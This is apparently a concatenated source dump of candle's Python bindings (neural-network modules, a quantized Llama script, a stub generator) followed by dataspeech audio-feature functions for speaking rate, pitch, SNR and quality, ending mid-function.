+        self.out_features = out_features
+        self.weight = candle.ones((out_features, in_features), **factory_kwargs)
+        if bias:
+            self.bias = candle.zeros((out_features,), **factory_kwargs)
+        else:
+            self.bias = None
+
+    def forward(self, x: Tensor) -> Tensor:
+        dims = x.shape
+        last_dim = dims[-1]
+        if isinstance(self.weight, candle.QTensor):
+            if len(dims) < 3:
+                matmul_result = self.weight.matmul_t(x).broadcast_add(self.bias)
+            elif len(dims) == 3:
+                (b, n, m) = dims
+                output_shape = (b, n, self.out_features)
+                re = x.reshape((b * n, m))
+                matmul_result = self.weight.matmul_t(re).reshape(output_shape)
+            else:
+                raise NotImplementedError("'QTensor.matmul_t' is not implemented for more than 3 dimensions")
+            if self.bias:
+                return matmul_result.broadcast_add(self.bias)
+        else:
+            if self.weight.shape[-1] == last_dim and len(dims) < 3:
+                w = self.weight.t()
+            else:
+                batch_size = dims[0]
+                w = self.weight.broadcast_left((batch_size,)).t()
+            x = x.matmul(w)
+            if self.bias is not None:
+                x = x.broadcast_add(self.bias)
+            return x
+
+    def extra_repr(self) -> str:
+        return f'in_features={self.in_features}, out_features={self.out_features}, bias={self.bias is not None}'
+
+# File: candle-main/candle-pyo3/py_src/candle/nn/module.py
+from candle import Tensor, QTensor, DType
+from typing import Dict, Tuple, Any, Optional, Union, Iterator, Set, overload, Mapping, TypeVar, List
+from collections import OrderedDict, namedtuple
+TensorLike = Union[Tensor, QTensor]
+T = TypeVar('T', bound='Module')
+
+class _IncompatibleKeys(namedtuple('IncompatibleKeys', ['missing_keys', 'unexpected_keys'])):
+
+    def __repr__(self):
+        if not self.missing_keys and (not self.unexpected_keys):
+            return '<All keys matched successfully>'
+        return super().__repr__()
+    __str__ = __repr__
+
+class Module:
+    _modules: Dict[str, Optional['Module']]
+    _buffers: Dict[str, Optional[TensorLike]]
+    _non_persistent_buffers_set: Set[str]
+    _quantizable_buffers: Set[str]
+    _version: int = 1
+
+    def __init__(self, *args, **kwargs) -> None:
+        super().__setattr__('_modules', OrderedDict())
+        super().__setattr__('_buffers', OrderedDict())
+        super().__setattr__('_non_persistent_buffers_set', set())
+        super().__setattr__('_quantizable_buffers', set())
+
+    def __call__(self, *input):
+        return self.forward(*input)
+
+    def forward(self, *input):
+        pass
+
+    def children(self) -> Iterator['Module']:
+        for (name, module) in self.named_children():
+            yield module
+
+    def named_children(self) -> Iterator[Tuple[str, 'Module']]:
+        memo = set()
+        for (name, module) in self._modules.items():
+            if module is not None and module not in memo:
+                memo.add(module)
+                yield (name, module)
+
+    def add_module(self, name: str, module: Optional['Module']) -> None:
+        if not isinstance(module, Module) and module is not None:
+            raise TypeError(f'{str(module)} is not a Module subclass')
+        elif not isinstance(name, str):
+            raise TypeError(f'module name should be a string. Got {name}')
+        elif hasattr(self, name) and name not in self._modules:
+            raise KeyError(f"attribute '{name}' already exists")
+        elif '.' in name:
+            raise KeyError(f"""module name can't contain ".", got: {name}""")
+        elif name == '':
+            raise KeyError('module name can\'t be empty string ""')
+        self._modules[name] = module
+
+    def register_module(self, name: str, module: Optional['Module']) -> None:
+        self.add_module(name, module)
+
+    def modules(self) -> Iterator['Module']:
+        for (_, module) in self.named_modules():
+            yield module
+
+    def named_modules(self, memo: Optional[Set['Module']]=None, prefix: str='', remove_duplicate: bool=True):
+        if memo is None:
+            memo = set()
+        if self not in memo:
+            if remove_duplicate:
+                memo.add(self)
+            yield (prefix, self)
+            for (name, module) in self._modules.items():
+                if module is None:
+                    continue
+                submodule_prefix = prefix + ('.' if prefix else '') + name
+                for m in module.named_modules(memo, submodule_prefix, remove_duplicate):
+                    yield m
+
+    def buffers(self, recurse: bool=True) -> Iterator[TensorLike]:
+        for (name, buf) in self.named_buffers(recurse=recurse):
+            yield buf
+
+    def named_buffers(self, prefix: str='', recurse: bool=True, remove_duplicate: bool=True) -> Iterator[Tuple[str, TensorLike]]:
+        gen = self._named_members(lambda module: module._buffers.items(), prefix=prefix, recurse=recurse, remove_duplicate=remove_duplicate)
+        yield from gen
+    T_destination = TypeVar('T_destination', bound=Dict[str, Any])
+
+    @overload
+    def state_dict(self, *, destination: T_destination, prefix: str=..., keep_vars: bool=...) -> T_destination:
+        ...
+
+    @overload
+    def state_dict(self, *, prefix: str=..., keep_vars: bool=...) -> Dict[str, Any]:
+        ...
+
+    def state_dict(self, *args, destination=None, prefix='', keep_vars=False):
+        if len(args) > 0:
+            if destination is None:
+                destination = args[0]
+            if len(args) > 1 and prefix == '':
+                prefix = args[1]
+            if len(args) > 2 and keep_vars is False:
+                keep_vars = args[2]
+        if destination is None:
+            destination = OrderedDict()
+            destination._metadata = OrderedDict()
+        local_metadata = dict(version=self._version)
+        if hasattr(destination, '_metadata'):
+            destination._metadata[prefix[:-1]] = local_metadata
+        self._save_to_state_dict(destination, prefix, keep_vars)
+        for (name, module) in self._modules.items():
+            if module is not None:
+                module.state_dict(destination=destination, prefix=prefix + name + '.', keep_vars=keep_vars)
+        return destination
+
+    def _save_to_state_dict(self, destination, prefix, keep_vars):
+        for (name, buf) in self._buffers.items():
+            if buf is not None and name not in self._non_persistent_buffers_set:
+                if isinstance(buf, Tensor):
+                    destination[prefix + name] = buf if keep_vars else buf.detach()
+                else:
+                    destination[prefix + name] = buf
+
+    def load_state_dict(self, state_dict: Mapping[str, Any], strict: bool=True, assign: bool=False):
+        if not isinstance(state_dict, Mapping):
+            raise TypeError(f'Expected state_dict to be dict-like, got {type(state_dict)}.')
+        missing_keys: List[str] = []
+        unexpected_keys: List[str] = []
+        error_msgs: List[str] = []
+        metadata = getattr(state_dict, '_metadata', None)
+        state_dict = OrderedDict(state_dict)
+        if metadata is not None:
+            state_dict._metadata = metadata
+
+        def load(module, local_state_dict, prefix=''):
+            local_metadata = {} if metadata is None else metadata.get(prefix[:-1], {})
+            if assign:
+                local_metadata['assign_to_params_buffers'] = assign
+            module._load_from_state_dict(local_state_dict, prefix, local_metadata, True, missing_keys, unexpected_keys, error_msgs)
+            for (name, child) in module._modules.items():
+                if child is not None:
+                    child_prefix = prefix + name + '.'
+                    child_state_dict = {k: v for (k, v) in local_state_dict.items() if k.startswith(child_prefix)}
+                    load(child, child_state_dict, child_prefix)
+        load(self, state_dict)
+        del load
+        if strict:
+            if len(unexpected_keys) > 0:
+                error_msgs.insert(0, 'Unexpected key(s) in state_dict: {}. '.format(', '.join((f'"{k}"' for k in unexpected_keys))))
+            if len(missing_keys) > 0:
+                error_msgs.insert(0, 'Missing key(s) in state_dict: {}. '.format(', '.join((f'"{k}"' for k in missing_keys))))
+        if len(error_msgs) > 0:
+            raise RuntimeError('Error(s) in loading state_dict for {}:\n\t{}'.format(self.__class__.__name__, '\n\t'.join(error_msgs)))
+        return _IncompatibleKeys(missing_keys, unexpected_keys)
+
+    def _load_from_state_dict(self, state_dict, prefix, local_metadata, strict, missing_keys, unexpected_keys, error_msgs):
+        persistent_buffers = {k: v for (k, v) in self._buffers.items() if k not in self._non_persistent_buffers_set}
+        local_name_params = persistent_buffers.items()
+        local_state = {k: v for (k, v) in local_name_params if v is not None}
+        for (name, param) in local_state.items():
+            key = prefix + name
+            if key in state_dict:
+                input_param = state_dict[key]
+                if not isinstance(input_param, (Tensor, QTensor)):
+                    error_msgs.append(f'While copying the parameter named "{key}", expected Tensor-like object from checkpoint but received {type(input_param)}')
+                    continue
+                if input_param.shape != param.shape:
+                    error_msgs.append('size mismatch for {}: copying a param with shape {} from checkpoint, the shape in current model is {}.'.format(key, input_param.shape, param.shape))
+                    continue
+                try:
+                    setattr(self, name, input_param)
+                except Exception as ex:
+                    error_msgs.append(f'While copying the parameter named "{key}", whose dimensions in the model are {param.shape} and whose dimensions in the checkpoint are {input_param.shape}, an exception occurred : {ex.args}.')
+            elif strict:
+                missing_keys.append(key)
+        if strict:
+            for key in state_dict.keys():
+                if key.startswith(prefix):
+                    input_name = key[len(prefix):]
+                    input_name = input_name.split('.', 1)[0]
+                    if input_name not in self._modules and input_name not in local_state:
+                        unexpected_keys.append(key)
+
+    def _named_members(self, get_members_fn, prefix='', recurse=True, remove_duplicate: bool=True):
+        memo = set()
+        modules = self.named_modules(prefix=prefix, remove_duplicate=remove_duplicate) if recurse else [(prefix, self)]
+        for (module_prefix, module) in modules:
+            members = get_members_fn(module)
+            for (k, v) in members:
+                if v is None or v in memo:
+                    continue
+                if remove_duplicate:
+                    memo.add(v)
+                name = module_prefix + ('.' if module_prefix else '') + k
+                yield (name, v)
+
+    def _get_name(self):
+        return self.__class__.__name__
+
+    def _apply(self, fn):
+        for module in self.children():
+            module._apply(fn)
+        for (key, buf) in self._buffers.items():
+            if buf is not None:
+                self._buffers[key] = fn(buf)
+        return self
+
+    def __move_tensor_to_device(self, tensor: TensorLike, device: str):
+        if isinstance(tensor, Tensor):
+            return tensor.to_device(device)
+        else:
+            raise NotImplementedError('Cannot offload QTensor to cuda, yet!')
+
+    def device(self) -> str:
+        tensor = next(self.buffers())
+        if isinstance(tensor, Tensor):
+            return tensor.device
+        else:
+            return 'cpu'
+
+    def cuda(self: T) -> T:
+
+        def to_cuda(t: TensorLike):
+            return self.__move_tensor_to_device(t, 'cuda')
+        return self._apply(to_cuda)
+
+    def cpu(self: T) -> T:
+
+        def to_cpu(t: TensorLike):
+            return self.__move_tensor_to_device(t, 'cpu')
+        return self._apply(to_cpu)
+
+    def __cast_tensor(self, tensor: TensorLike, dtype: Union[DType, str]):
+        if isinstance(tensor, Tensor):
+            return tensor.to_dtype(dtype)
+        else:
+            raise TypeError('candle.Module.to only accepts Tensor dtypes, but got desired dtype={}'.format(dtype))
+
+    def type(self: T, dst_type: Union[DType, str]) -> T:
+
+        def cast(t: TensorLike):
+            return self.__cast_tensor(t, dst_type)
+        return self._apply(cast)
+
+    @overload
+    def to(self: T, device: str=..., dtype: Optional[Union[DType, str]]=...) -> T:
+        ...
+
+    @overload
+    def to(self: T, dtype: Union[DType, str]) -> T:
+        ...
+
+    def to(self, *args, **kwargs):
+        device = None
+        dtype = None
+        if args:
+            for arg in args:
+                if isinstance(arg, str):
+                    lower_arg = str(arg).lower()
+                    if lower_arg.startswith('cuda') or lower_arg == 'cpu':
+                        device = lower_arg
+                    else:
+                        dtype = arg
+                elif isinstance(arg, DType):
+                    dtype = str(arg)
+                else:
+                    raise TypeError('Module.to() received an invalid combination of arguments. Got: {}'.format(args))
+        if kwargs:
+            device = kwargs.get('device', device)
+            dtype = str(kwargs.get('dtype', dtype))
+        if device:
+            device = device.lower()
+        if dtype:
+            dtype = dtype.lower()
+            if dtype not in ['f32', 'f16', 'f64']:
+                raise TypeError('candle.Module.to only accepts floating pointdtypes, but got desired dtype={}'.format(dtype))
+
+        def convert(t):
+            if dtype:
+                t = self.__cast_tensor(t, dtype)
+            if device:
+                t = self.__move_tensor_to_device(t, device)
+            return t
+        return self._apply(convert)
+
+    def __setattr__(self, __name: str, __value: Any) -> None:
+        if isinstance(__value, Module):
+            self._modules[__name] = __value
+        elif isinstance(__value, QTensor):
+            if __name in self._quantizable_buffers:
+                type = __value.ggml_dtype.lower()
+                if type in ['f32', 'f16']:
+                    dequant = __value.dequantize()
+                    if type == 'f16':
+                        dequant = dequant.to_dtype('f16')
+                    self._buffers[__name] = dequant
+                else:
+                    self._buffers[__name] = __value
+            else:
+                self._buffers[__name] = __value.dequantize()
+        elif isinstance(__value, Tensor):
+            self._buffers[__name] = __value
+        else:
+            super().__setattr__(__name, __value)
+
+    def __getattr__(self, __name: str) -> Any:
+        if '_modules' in self.__dict__:
+            modules = self.__dict__['_modules']
+            if __name in modules:
+                return modules[__name]
+        if '_buffers' in self.__dict__:
+            tensors = self.__dict__['_buffers']
+            if __name in tensors:
+                return tensors[__name]
+        return super().__getattribute__(__name)
+
+    def __delattr__(self, name):
+        if name in self._buffers:
+            del self._buffers[name]
+        elif name in self._modules:
+            del self._modules[name]
+        else:
+            super().__delattr__(name)
+
+# File: candle-main/candle-pyo3/py_src/candle/nn/normalization.py
+import candle
+from candle import Tensor
+from .module import Module
+from typing import Union, List, Tuple, Optional, Any
+_shape_t = Union[int, List[int]]
+import numbers
+
+class LayerNorm(Module):
+    __constants__ = ['normalized_shape', 'eps']
+    normalized_shape: Tuple[int, ...]
+    eps: float
+
+    def __init__(self, normalized_shape: _shape_t, eps: float=1e-05, bias: bool=True, device=None, dtype=None) -> None:
+        factory_kwargs = {'device': device, 'dtype': dtype}
+        super().__init__()
+        if isinstance(normalized_shape, numbers.Integral):
+            normalized_shape = (normalized_shape,)
+        self.normalized_shape = tuple(normalized_shape)
+        self.eps = eps
+        self.weight = candle.ones(normalized_shape, **factory_kwargs)
+        if bias:
+            self.bias = candle.zeros(normalized_shape, **factory_kwargs)
+        else:
+            self.bias = None
+
+    def forward(self, input: Tensor) -> Tensor:
+        mean_x = input.sum_keepdim(2) / float(self.normalized_shape[-1])
+        x = input.broadcast_sub(mean_x)
+        norm_x = x.sqr().sum_keepdim(2) / float(self.normalized_shape[-1])
+        x_normed = x.broadcast_div((norm_x + self.eps).sqrt())
+        x = x_normed.broadcast_mul(self.weight)
+        if self.bias:
+            x = x.broadcast_add(self.bias)
+        return x
+
+    def extra_repr(self) -> str:
+        return '{normalized_shape}, eps={eps}, elementwise_affine={elementwise_affine}'.format(**self.__dict__)
+
+# File: candle-main/candle-pyo3/py_src/candle/nn/sparse.py
+from .module import Module
+from typing import Optional, Tuple, Any
+from candle import Tensor
+import candle
+
+class Embedding(Module):
+
+    def __init__(self, num_embeddings: int, embedding_dim: int, device=None) -> None:
+        factory_kwargs = {'device': device}
+        super().__init__()
+        self.num_embeddings = num_embeddings
+        self.embedding_dim = embedding_dim
+        self.weight = candle.randn((num_embeddings, embedding_dim), **factory_kwargs)
+
+    def forward(self, indexes: Tensor) -> Tensor:
+        final_dims = list(indexes.shape)
+        final_dims.append(self.embedding_dim)
+        indexes = indexes.flatten_all()
+        values = self.weight.index_select(indexes, 0)
+        return values.reshape(final_dims)
+
+# File: candle-main/candle-pyo3/py_src/candle/typing/__init__.py
+from typing import TypeVar, Union, Sequence
+_T = TypeVar('_T')
+_ArrayLike = Union[_T, Sequence[_T], Sequence[Sequence[_T]], Sequence[Sequence[Sequence[_T]]], Sequence[Sequence[Sequence[Sequence[_T]]]]]
+CPU: str = 'cpu'
+CUDA: str = 'cuda'
+Device = TypeVar('Device', CPU, CUDA)
+Scalar = Union[int, float]
+Index = Union[int, slice, None, 'Ellipsis']
+Shape = Union[int, Sequence[int]]
+
+# File: candle-main/candle-pyo3/quant-llama.py
+import sys
+from typing import Dict, Tuple, Any
+import candle
+from candle.models.llama import QuantizedLlama
+from candle import utils
+MAX_SEQ_LEN = 4096
+
+def gguf_rename(tensor_name: str):
+    if tensor_name == 'token_embd.weight':
+        return 'tok_embeddings.weight'
+    if tensor_name == 'output_norm.weight':
+        return 'norm.weight'
+    tensor_name = tensor_name.replace('blk.', 'layers.')
+    tensor_name = tensor_name.replace('.attn_q.', '.attention.wq.')
+    tensor_name = tensor_name.replace('.attn_k.', '.attention.wk.')
+    tensor_name = tensor_name.replace('.attn_v.', '.attention.wv.')
+    tensor_name = tensor_name.replace('.attn_output.', '.attention.wo.')
+    tensor_name = tensor_name.replace('.ffn_gate.', '.feed_forward.w1.')
+    tensor_name = tensor_name.replace('.ffn_down.', '.feed_forward.w2.')
+    tensor_name = tensor_name.replace('.ffn_up.', '.feed_forward.w3.')
+    tensor_name = tensor_name.replace('.attn_norm.', '.attention_norm.')
+    return tensor_name
+
+def main():
+    if len(sys.argv) < 2:
+        raise ValueError('missing weight file argument')
+    filename = sys.argv[1]
+    print(f'reading model file {filename}')
+    if filename.endswith('gguf'):
+        (all_tensors, metadata) = utils.load_gguf(filename)
+        vocab = metadata['tokenizer.ggml.tokens']
+        for (i, v) in enumerate(vocab):
+            vocab[i] = '\n' if v == '<0x0A>' else v.replace('▁', ' ')
+        hparams = {k: v for (k, v) in metadata.items() if not k.startswith('tokenizer')}
+        print(hparams)
+        hparams = {'n_vocab': len(vocab), 'n_embd': metadata['llama.embedding_length'], 'n_mult': 256, 'n_head': metadata['llama.attention.head_count'], 'n_head_kv': metadata['llama.attention.head_count_kv'], 'n_layer': metadata['llama.block_count'], 'n_rot': metadata['llama.rope.dimension_count'], 'rope_freq': metadata.get('llama.rope.freq_base', 10000.0), 'ftype': metadata['general.file_type'], 'context_length': metadata['llama.context_length']}
+        all_tensors = {gguf_rename(k): v for (k, v) in all_tensors.items()}
+    else:
+        (all_tensors, hparams, vocab) = utils.load_ggml(filename)
+        hparams['context_length'] = 2048
+    print(hparams)
+    model = QuantizedLlama(hparams, all_tensors)
+    print('model built, starting inference')
+    tokens = [1]
+    for token_idx in range(500):
+        last_token = tokens[-1]
+        lt = candle.tensor([last_token]).unsqueeze(0)
+        logits = model.forward(lt, len(tokens))
+        m = logits.get(0).argmax_keepdim(-1)
+        next_token = m.values()[0]
+        print(vocab[next_token], end='', flush=True)
+        tokens.append(next_token)
+if __name__ == '__main__':
+    main()
+
+# File: candle-main/candle-pyo3/stub.py
+import argparse
+import inspect
+import os
+from typing import Optional
+import black
+from pathlib import Path
+import re
+INDENT = ' ' * 4
+GENERATED_COMMENT = '# Generated content DO NOT EDIT\n'
+TYPING = 'from typing import Any, Callable, Dict, List, Optional, Tuple, Union, Sequence\nfrom os import PathLike\n'
+CANDLE_SPECIFIC_TYPING = 'from candle.typing import _ArrayLike, Device, Scalar, Index, Shape\n'
+CANDLE_TENSOR_IMPORTS = 'from candle import Tensor,DType,QTensor\n'
+RETURN_TYPE_MARKER = '&RETURNS&: '
+ADDITIONAL_TYPEHINTS = {}
+FORWARD_REF_PATTERN = re.compile("ForwardRef\\('([^']+)'\\)")
+
+def do_indent(text: Optional[str], indent: str):
+    if text is None:
+        return ''
+    return text.replace('\n', f'\n{indent}')
+
+def function(obj, indent: str, text_signature: str=None):
+    if text_signature is None:
+        text_signature = obj.__text_signature__
+    text_signature = text_signature.replace('$self', 'self').lstrip().rstrip()
+    doc_string = obj.__doc__
+    if doc_string is None:
+        doc_string = ''
+    return_type = None
+    doc_lines = doc_string.split('\n')
+    if doc_lines[-1].lstrip().startswith(RETURN_TYPE_MARKER):
+        return_type = doc_lines[-1].lstrip()[len(RETURN_TYPE_MARKER):].strip()
+        doc_string = '\n'.join(doc_lines[:-1])
+    string = ''
+    if return_type:
+        string += f'{indent}def {obj.__name__}{text_signature} -> {return_type}:\n'
+    else:
+        string += f'{indent}def {obj.__name__}{text_signature}:\n'
+    indent += INDENT
+    string += f'{indent}"""\n'
+    string += f'{indent}{do_indent(doc_string, indent)}\n'
+    string += f'{indent}"""\n'
+    string += f'{indent}pass\n'
+    string += '\n'
+    string += '\n'
+    return string
+
+def member_sort(member):
+    if inspect.isclass(member):
+        value = 10 + len(inspect.getmro(member))
+    else:
+        value = 1
+    return value
+
+def fn_predicate(obj):
+    value = inspect.ismethoddescriptor(obj) or inspect.isbuiltin(obj)
+    if value:
+        return obj.__text_signature__ and (not obj.__name__.startswith('_'))
+    if inspect.isgetsetdescriptor(obj):
+        return not obj.__name__.startswith('_')
+    return False
+
+def get_module_members(module):
+    members = [member for (name, member) in inspect.getmembers(module) if not name.startswith('_') and (not inspect.ismodule(member))]
+    members.sort(key=member_sort)
+    return members
+
+def pyi_file(obj, indent=''):
+    string = ''
+    if inspect.ismodule(obj):
+        string += GENERATED_COMMENT
+        string += TYPING
+        string += CANDLE_SPECIFIC_TYPING
+        if obj.__name__ != 'candle.candle':
+            string += CANDLE_TENSOR_IMPORTS
+        members = get_module_members(obj)
+        for member in members:
+            string += pyi_file(member, indent)
+    elif inspect.isclass(obj):
+        indent += INDENT
+        mro = inspect.getmro(obj)
+        if len(mro) > 2:
+            inherit = f'({mro[1].__name__})'
+        else:
+            inherit = ''
+        string += f'class {obj.__name__}{inherit}:\n'
+        body = ''
+        if obj.__doc__:
+            body += f'{indent}"""\n{indent}{do_indent(obj.__doc__, indent)}\n{indent}"""\n'
+        fns = inspect.getmembers(obj, fn_predicate)
+        if obj.__text_signature__:
+            body += f'{indent}def __init__{obj.__text_signature__}:\n'
+            body += f'{indent + INDENT}pass\n'
+            body += '\n'
+        if obj.__name__ in ADDITIONAL_TYPEHINTS:
+            additional_members = inspect.getmembers(ADDITIONAL_TYPEHINTS[obj.__name__])
+            additional_functions = []
+            for (name, member) in additional_members:
+                if inspect.isfunction(member):
+                    additional_functions.append((name, member))
+
+            def process_additional_function(fn):
+                signature = inspect.signature(fn)
+                cleaned_signature = re.sub(FORWARD_REF_PATTERN, '\\1', str(signature))
+                string = f'{indent}def {fn.__name__}{cleaned_signature}:\n'
+                string += f'{indent + INDENT}"""{indent + INDENT}{do_indent(fn.__doc__, indent + INDENT)}{indent + INDENT}"""\n'
+                string += f'{indent + INDENT}pass\n'
+                string += '\n'
+                return string
+            for (name, fn) in additional_functions:
+                body += process_additional_function(fn)
+        for (name, fn) in fns:
+            body += pyi_file(fn, indent=indent)
+        if not body:
+            body += f'{indent}pass\n'
+        string += body
+        string += '\n\n'
+    elif inspect.isbuiltin(obj):
+        string += f'{indent}@staticmethod\n'
+        string += function(obj, indent)
+    elif inspect.ismethoddescriptor(obj):
+        string += function(obj, indent)
+    elif inspect.isgetsetdescriptor(obj):
+        string += f'{indent}@property\n'
+        string += function(obj, indent, text_signature='(self)')
+    elif obj.__class__.__name__ == 'DType':
+        string += f'class {str(obj).lower()}(DType):\n'
+        string += f'{indent + INDENT}pass\n'
+    else:
+        raise Exception(f'Object {obj} is not supported')
+    return string
+
+def py_file(module, origin):
+    members = get_module_members(module)
+    string = GENERATED_COMMENT
+    string += f'from .. import {origin}\n'
+    string += '\n'
+    for member in members:
+        if hasattr(member, '__name__'):
+            name = member.__name__
+        else:
+            name = str(member)
+        string += f'{name} = {origin}.{name}\n'
+    return string
+
+def do_black(content, is_pyi):
+    mode = black.Mode(target_versions={black.TargetVersion.PY35}, line_length=119, is_pyi=is_pyi, string_normalization=True)
+    try:
+        return black.format_file_contents(content, fast=True, mode=mode)
+    except black.NothingChanged:
+        return content
+
+def write(module, directory, origin, check=False):
+    submodules = [(name, member) for (name, member) in inspect.getmembers(module) if inspect.ismodule(member)]
+    filename = os.path.join(directory, '__init__.pyi')
+    pyi_content = pyi_file(module)
+    pyi_content = do_black(pyi_content, is_pyi=True)
+    os.makedirs(directory, exist_ok=True)
+    if check:
+        with open(filename, 'r') as f:
+            data = f.read()
+            print('generated content')
+            print(pyi_content)
+            assert data == pyi_content, f'The content of {filename} seems outdated, please run `python stub.py`'
+    else:
+        with open(filename, 'w') as f:
+            f.write(pyi_content)
+    filename = os.path.join(directory, '__init__.py')
+    py_content = py_file(module, origin)
+    py_content = do_black(py_content, is_pyi=False)
+    os.makedirs(directory, exist_ok=True)
+    is_auto = False
+    if not os.path.exists(filename):
+        is_auto = True
+    else:
+        with open(filename, 'r') as f:
+            line = f.readline()
+            if line == GENERATED_COMMENT:
+                is_auto = True
+    if is_auto:
+        if check:
+            with open(filename, 'r') as f:
+                data = f.read()
+                print('generated content')
+                print(py_content)
+                assert data == py_content, f'The content of {filename} seems outdated, please run `python stub.py`'
+        else:
+            with open(filename, 'w') as f:
+                f.write(py_content)
+    for (name, submodule) in submodules:
+        write(submodule, os.path.join(directory, name), f'{name}', check=check)
+
+def extract_additional_types(module):
+    additional_types = {}
+    for (name, member) in inspect.getmembers(module):
+        if inspect.isclass(member):
+            if hasattr(member, '__name__'):
+                name = member.__name__
+            else:
+                name = str(member)
+            if name not in additional_types:
+                additional_types[name] = member
+    return additional_types
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser()
+    parser.add_argument('--check', action='store_true')
+    args = parser.parse_args()
+    cwd = Path.cwd()
+    directory = 'py_src/candle/'
+    if cwd.name != 'candle-pyo3':
+        directory = f'candle-pyo3/{directory}'
+    import candle
+    import _additional_typing
+    ADDITIONAL_TYPEHINTS = extract_additional_types(_additional_typing)
+    write(candle.candle, directory, 'candle', check=args.check)
+

huggingface_dataspeech.txt

@@ -0,0 +1,220 @@
+# File: dataspeech-main/dataspeech/cpu_enrichments/rate.py
+from g2p import make_g2p
+transducer = make_g2p('eng', 'eng-ipa')
+
+def rate_apply(batch, rank=None, audio_column_name='audio', text_column_name='text'):
+    if isinstance(batch[text_column_name], list):
+        speaking_rates = []
+        phonemes_list = []
+        if 'speech_duration' in batch:
+            for (text, audio_duration) in zip(batch[text_column_name], batch['speech_duration']):
+                phonemes = transducer(text).output_string
+                audio_duration = audio_duration if audio_duration != 0 else 0.01
+                speaking_rate = len(phonemes) / audio_duration
+                speaking_rates.append(speaking_rate)
+                phonemes_list.append(phonemes)
+        else:
+            for (text, audio) in zip(batch[text_column_name], batch[audio_column_name]):
+                phonemes = transducer(text).output_string
+                sample_rate = audio['sampling_rate']
+                audio_length = len(audio['array'].squeeze()) / sample_rate
+                speaking_rate = len(phonemes) / audio_length
+                speaking_rates.append(speaking_rate)
+                phonemes_list.append(phonemes)
+        batch['speaking_rate'] = speaking_rates
+        batch['phonemes'] = phonemes_list
+    else:
+        phonemes = transducer(batch[text_column_name]).output_string
+        if 'speech_duration' in batch:
+            audio_length = batch['speech_duration'] if batch['speech_duration'] != 0 else 0.01
+        else:
+            sample_rate = batch[audio_column_name]['sampling_rate']
+            audio_length = len(batch[audio_column_name]['array'].squeeze()) / sample_rate
+        speaking_rate = len(phonemes) / audio_length
+        batch['speaking_rate'] = speaking_rate
+        batch['phonemes'] = phonemes
+    return batch
+
+# File: dataspeech-main/dataspeech/gpu_enrichments/pitch.py
+import torch
+import penn
+hopsize = 0.01
+fmin = 30.0
+fmax = 1000.0
+checkpoint = None
+center = 'half-hop'
+interp_unvoiced_at = 0.065
+
+def pitch_apply(batch, rank=None, audio_column_name='audio', output_column_name='utterance_pitch', penn_batch_size=4096):
+    if isinstance(batch[audio_column_name], list):
+        utterance_pitch_mean = []
+        utterance_pitch_std = []
+        for sample in batch[audio_column_name]:
+            (pitch, periodicity) = penn.from_audio(torch.tensor(sample['array'][None, :]).float(), sample['sampling_rate'], hopsize=hopsize, fmin=fmin, fmax=fmax, checkpoint=checkpoint, batch_size=penn_batch_size, center=center, interp_unvoiced_at=interp_unvoiced_at, gpu=(rank or 0) % torch.cuda.device_count() if torch.cuda.device_count() > 0 else rank)
+            utterance_pitch_mean.append(pitch.mean().cpu())
+            utterance_pitch_std.append(pitch.std().cpu())
+        batch[f'{output_column_name}_mean'] = utterance_pitch_mean
+        batch[f'{output_column_name}_std'] = utterance_pitch_std
+    else:
+        sample = batch[audio_column_name]
+        (pitch, periodicity) = penn.from_audio(torch.tensor(sample['array'][None, :]).float(), sample['sampling_rate'], hopsize=hopsize, fmin=fmin, fmax=fmax, checkpoint=checkpoint, batch_size=penn_batch_size, center=center, interp_unvoiced_at=interp_unvoiced_at, gpu=(rank or 0) % torch.cuda.device_count() if torch.cuda.device_count() > 0 else rank)
+        batch[f'{output_column_name}_mean'] = pitch.mean().cpu()
+        batch[f'{output_column_name}_std'] = pitch.std().cpu()
+    return batch
+
+# File: dataspeech-main/dataspeech/gpu_enrichments/snr_and_reverb.py
+from pyannote.audio import Model
+from pathlib import Path
+from brouhaha.pipeline import RegressiveActivityDetectionPipeline
+import torch
+from huggingface_hub import hf_hub_download
+import numpy as np
+model = None
+ratio = 16000 / 270
+
+def snr_apply(batch, rank=None, audio_column_name='audio', batch_size=32):
+    global model
+    if model is None:
+        model = Model.from_pretrained(Path(hf_hub_download(repo_id='ylacombe/brouhaha-best', filename='best.ckpt')), strict=False)
+    if rank is not None or torch.cuda.device_count() > 0:
+        device = f'cuda:{(rank or 0) % torch.cuda.device_count()}'
+        model.to(device)
+    pipeline = RegressiveActivityDetectionPipeline(segmentation=model, batch_size=batch_size)
+    if rank:
+        pipeline.to(torch.device(device))
+    device = pipeline._models['segmentation'].device
+    if isinstance(batch[audio_column_name], list):
+        snr = []
+        c50 = []
+        vad_durations = []
+        for sample in batch[audio_column_name]:
+            res = pipeline({'sample_rate': sample['sampling_rate'], 'waveform': torch.tensor(sample['array'][None, :]).to(device).float()})
+            mask = np.full(res['snr'].shape, False)
+            for (segment, _) in res['annotation'].itertracks():
+                start = int(segment.start * ratio)
+                end = int(segment.end * ratio)
+                mask[start:end] = True
+            mask = ~((res['snr'] == 0.0) & (res['c50'] == 0.0)) & mask
+            vad_duration = sum(map(lambda x: x[0].duration, res['annotation'].itertracks()))
+            snr.append(res['snr'][mask].mean())
+            c50.append(res['c50'][mask].mean())
+            vad_durations.append(np.float32(vad_duration))
+        batch['snr'] = snr
+        batch['c50'] = c50
+        batch['speech_duration'] = vad_durations
+    else:
+        res = pipeline({'sample_rate': batch[audio_column_name]['sampling_rate'], 'waveform': torch.tensor(batch[audio_column_name]['array'][None, :]).to(device).float()})
+        mask = np.full(res['snr'].shape, False)
+        for (segment, _) in res['annotation'].itertracks():
+            start = int(segment.start * ratio)
+            end = int(segment.end * ratio)
+            mask[start:end] = True
+        mask = ~((res['snr'] == 0.0) & (res['c50'] == 0.0)) & mask
+        vad_duration = sum(map(lambda x: x[0].duration, res['annotation'].itertracks()))
+        batch['snr'] = res['snr'][mask].mean()
+        batch['c50'] = res['c50'][mask].mean()
+        batch['speech_duration'] = vad_duration
+    return batch
+
+# File: dataspeech-main/dataspeech/gpu_enrichments/squim.py
+from torchaudio.pipelines import SQUIM_OBJECTIVE
+import torch
+import torchaudio
+model = None
+max_audio_length = 15 * SQUIM_OBJECTIVE.sample_rate
+
+def squim_apply(batch, rank=None, audio_column_name='audio'):
+    global model
+    if model is None:
+        model = SQUIM_OBJECTIVE.get_model()
+    if rank is not None or torch.cuda.device_count() > 0:
+        device = f'cuda:{(rank or 0) % torch.cuda.device_count()}'
+        model.to(device)
+    else:
+        device = 'cpu'
